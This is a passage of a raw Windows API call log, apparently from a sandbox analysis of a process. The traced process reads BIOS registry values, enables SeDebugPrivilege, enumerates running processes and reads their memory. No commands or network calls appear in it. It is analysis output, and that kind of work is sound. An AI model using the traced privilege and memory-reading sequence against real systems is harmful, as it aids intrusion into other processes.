_Format="%d%02d%02d000000.000000+000", _ArgList=0x670ffca98 | out: _Buffer="20140401000000.000000+000") returned 25 [0157.396] RegQueryValueExW (in: hKey=0x26c, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x670ffcc94, lpData=0x670ffd380, lpcbData=0x670ffcc84*=0x410 | out: lpType=0x670ffcc94*=0x7, lpData=0x670ffd380*, lpcbData=0x670ffcc84*=0x18) returned 0x0 [0157.397] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffa5f4c7f20 | out: lpflOldProtect=0x7ffa5f4c7f20*=0x2) returned 1 [0157.398] GetProcAddress (hModule=0x7ffa7bd00000, lpProcName=0x17) returned 0x7ffa7bd14be0 [0157.398] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x670ffcbb0 | out: lpflOldProtect=0x670ffcbb0*=0x4) returned 1 [0157.400] SafeArrayAccessData (in: psa=0x196ef1f2170, ppvData=0x670ffcca8 | out: ppvData=0x670ffcca8) returned 0x0 [0157.400] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffa5f4c7f20 | out: lpflOldProtect=0x7ffa5f4c7f20*=0x2) returned 1 [0157.400] GetProcAddress (hModule=0x7ffa7bd00000, lpProcName=0x18) returned 0x7ffa7bd183c0 [0157.400] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x670ffcbb0 | out: lpflOldProtect=0x670ffcbb0*=0x4) returned 1 [0157.401] SafeArrayUnaccessData (psa=0x196ef1f2170) returned 0x0 [0157.401] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855d60 [0157.401] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0157.401] SafeArrayGetLBound (in: psa=0x196ef1f2af0, nDim=0x1, plLbound=0x670ffc970 | out: plLbound=0x670ffc970) returned 0x0 [0157.401] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x670ffc990 | out: plUbound=0x670ffc990) returned 0x0 [0157.401] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7c6fb0 [0157.401] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0157.401] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x670ffc938 | out: plUbound=0x670ffc938) returned 0x0 [0157.401] SafeArrayGetElemsize (psa=0x196ef1f2af0) returned 0x8 [0157.401] SafeArrayGetElement (in: psa=0x196ef1f2af0, rgIndices=0x670ffc828, pv=0x670ffc830 | out: pv=0x670ffc830) returned 0x0 [0157.402] memcpy (in: _Dst=0x670ffc838, _Src=0x196ef225e30, _Size=0x8 | out: _Dst=0x670ffc838) returned 0x670ffc838 [0157.402] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7c6fb0) returned 1 [0157.403] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855d60) returned 1 [0157.403] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffa5f4c7f20 | out: lpflOldProtect=0x7ffa5f4c7f20*=0x2) returned 1 [0157.403] GetProcAddress (hModule=0x7ffa7bd00000, lpProcName=0x10) returned 0x7ffa7bd10e10 [0157.403] VirtualProtect (in: lpAddress=0x7ffa5f4da000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x670ffcbb0 | out: lpflOldProtect=0x670ffcbb0*=0x4) returned 1 [0157.409] lstrlenW (lpString="XXXXXXX") returned 7 [0157.409] lstrlenW (lpString="Dell Inc.") returned 9 [0157.410] lstrlenW (lpString="07/08/2010") returned 10 [0157.410] _wtoi (_String="07") returned 7 [0157.410] _wtoi (_String="2010") returned 2010 [0157.410] GetLocalTime (in: lpSystemTime=0x670ffcac0 | out: lpSystemTime=0x670ffcac0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x14, wMilliseconds=0x30b)) [0157.410] _wtoi (_String="08") returned 8 [0157.410] _vsnwprintf (in: _Buffer=0x670ffcb00, _BufferCount=0x63, _Format="%d%02d%02d000000.000000+000", _ArgList=0x670ffca98 | out: _Buffer="20100708000000.000000+000") returned 25 [0157.411] lstrlenW (lpString="A05") returned 3 [0157.412] SafeArrayPutElement (psa=0x196ef1f2fb0, rgIndices=0x670ffcc44, pv=0x670ffcc40) returned 0x0 [0157.412] SafeArrayPutElement (psa=0x196ef1f2fb0, rgIndices=0x670ffcc44, pv=0x670ffcc70) returned 0x0 [0157.412] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856ae0 [0157.412] SafeArrayGetDim (psa=0x196ef1f2fb0) returned 0x1 [0157.412] SafeArrayGetLBound (in: psa=0x196ef1f2fb0, nDim=0x1, plLbound=0x670ffc9c0 | out: plLbound=0x670ffc9c0) returned 0x0 [0157.412] SafeArrayGetUBound (in: psa=0x196ef1f2fb0, nDim=0x1, plUbound=0x670ffc9e0 | out: plUbound=0x670ffc9e0) returned 0x0 [0157.412] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7c6fb0 [0157.412] SafeArrayGetDim (psa=0x196ef1f2fb0) returned 0x1 [0157.412] SafeArrayGetUBound (in: psa=0x196ef1f2fb0, nDim=0x1, plUbound=0x670ffc988 | out: plUbound=0x670ffc988) returned 0x0 [0157.412] SafeArrayGetElemsize (psa=0x196ef1f2fb0) returned 0x4 [0157.413] SafeArrayGetElement (in: psa=0x196ef1f2fb0, rgIndices=0x670ffc880, pv=0x670ffc8d0 | out: pv=0x670ffc8d0) returned 0x0 [0157.413] SafeArrayGetElement (in: psa=0x196ef1f2fb0, rgIndices=0x670ffc880, pv=0x670ffc8d0 | out: pv=0x670ffc8d0) returned 0x0 [0157.413] SafeArrayGetElement (in: psa=0x196ef1f2fb0, rgIndices=0x670ffc880, pv=0x670ffc8d0 | out: pv=0x670ffc8d0) returned 0x0 [0157.414] memcpy (in: _Dst=0x670ffc888, _Src=0x196ef225e20, _Size=0x4 | out: _Dst=0x670ffc888) returned 0x670ffc888 [0157.415] memcpy (in: _Dst=0x670ffc888, _Src=0x196ef225e24, _Size=0x4 | out: _Dst=0x670ffc888) returned 0x670ffc888 [0157.416] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7c6fb0) returned 1 [0157.417] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856ae0) returned 1 [0157.426] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225d10 [0157.426] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225d10, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0157.426] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d10) returned 1 [0157.426] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225cf0) returned 1 [0157.796] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0165.655] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0165.695] RtlRestoreLastWin32Error () returned 0x670db9000 [0165.695] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0165.696] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225d00 [0165.696] RtlRestoreLastWin32Error () returned 0x670db9000 [0165.696] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225d00, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225d00, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0165.696] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225d20 [0165.696] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d00) returned 1 [0165.696] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee8338d0 [0165.696] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee8338d0, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0165.696] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8338d0) returned 1 [0165.708] malloc (_Size=0xb0) returned 0x196ef0d4e70 [0165.708] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0165.709] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0165.709] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0165.709] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0165.709] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0165.710] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0165.711] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0165.711] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0165.711] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0165.711] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0165.711] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0165.711] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0165.711] GetCurrentThread () returned 0xfffffffffffffffe [0165.711] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670ffd4d0 | out: TokenHandle=0x670ffd4d0*=0x26c) returned 1 [0165.712] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670ffd50c | out: lpLuid=0x670ffd50c*(LowPart=0x14, HighPart=0)) returned 1 [0165.715] RtlRestoreLastWin32Error () returned 0x670db9000 [0165.716] AdjustTokenPrivileges (in: TokenHandle=0x26c, DisableAllPrivileges=0, NewState=0x670ffd508*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0165.716] GetLastError () returned 0x0 [0165.716] CloseHandle (hObject=0x26c) returned 1 [0165.716] malloc (_Size=0x8000) returned 0x196ef0d6d60 [0165.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0165.721] free (_Block=0x196ef0d6d60) [0165.723] malloc (_Size=0x10000) returned 0x196ef0d6d60 [0165.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0165.727] free (_Block=0x196ef0d6d60) [0165.728] malloc (_Size=0x18000) returned 0x196ef0d6d60 [0165.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0xc0000004 [0165.736] free (_Block=0x196ef0d6d60) [0165.736] malloc (_Size=0x20000) returned 0x196ef0d6d60 [0165.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d6d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d6d60, ResultLength=0x0) returned 0x0 [0165.738] _ui64tow_s (in: _Value=0x0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0165.745] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="0") returned 1 [0165.747] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0165.748] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0165.769] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0165.769] CloseHandle (hObject=0x0) returned 0 [0165.770] _ui64tow_s (in: _Value=0x4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0165.774] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4") returned 1 [0165.776] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0165.776] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0165.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0165.801] CloseHandle (hObject=0x0) returned 0 [0165.801] _ui64tow_s (in: _Value=0x134, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0165.806] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="308") returned 3 [0165.807] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0165.807] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0165.824] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0165.830] CloseHandle (hObject=0x0) returned 0 [0165.831] _ui64tow_s (in: _Value=0x180, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0165.835] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="384") returned 3 [0165.836] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0165.837] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0165.856] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0165.857] CloseHandle (hObject=0x0) returned 0 [0165.857] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0165.861] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="444") returned 3 [0165.862] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0165.862] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0165.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0165.990] CloseHandle (hObject=0x0) returned 0 [0165.991] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0165.998] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="452") returned 3 [0165.999] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.000] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.050] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0166.050] CloseHandle (hObject=0x0) returned 0 [0166.051] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0166.056] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="504") returned 3 [0166.057] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.064] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.086] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x26c [0166.087] GetLastError () returned 0x0 [0166.087] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.087] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xff2cd3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.087] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.087] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.088] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670ffc3f0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.091] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.093] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.093] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xff2cd3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.093] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.094] malloc (_Size=0x1c) returned 0x196ef0f9ee0 [0166.094] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0f9ee0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f9ee0*, lpNumberOfBytesRead=0x0) returned 1 [0166.094] free (_Block=0x196ef0f9ee0) [0166.095] CloseHandle (hObject=0x26c) returned 1 [0166.096] _ui64tow_s (in: _Value=0x210, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0166.102] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="528") returned 3 [0166.103] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.103] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.123] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0166.123] CloseHandle (hObject=0x0) returned 0 [0166.124] _ui64tow_s (in: _Value=0x218, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0166.129] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="536") returned 3 [0166.130] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.130] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.148] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x26c [0166.148] GetLastError () returned 0x0 [0166.149] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.149] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x70fe507018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.149] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.149] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.149] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2210d602f08, lpBuffer=0x670ffc3f0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.150] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.151] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.151] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x70fe507020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.152] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.152] malloc (_Size=0x3e) returned 0x196ef0ccda0 [0166.152] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0ccda0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0ccda0*, lpNumberOfBytesRead=0x0) returned 1 [0166.152] free (_Block=0x196ef0ccda0) [0166.153] CloseHandle (hObject=0x26c) returned 1 [0166.154] _ui64tow_s (in: _Value=0x270, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0166.159] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="624") returned 3 [0166.160] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.160] _vsnwprintf (in: _Buffer=0x670ffd0d0, 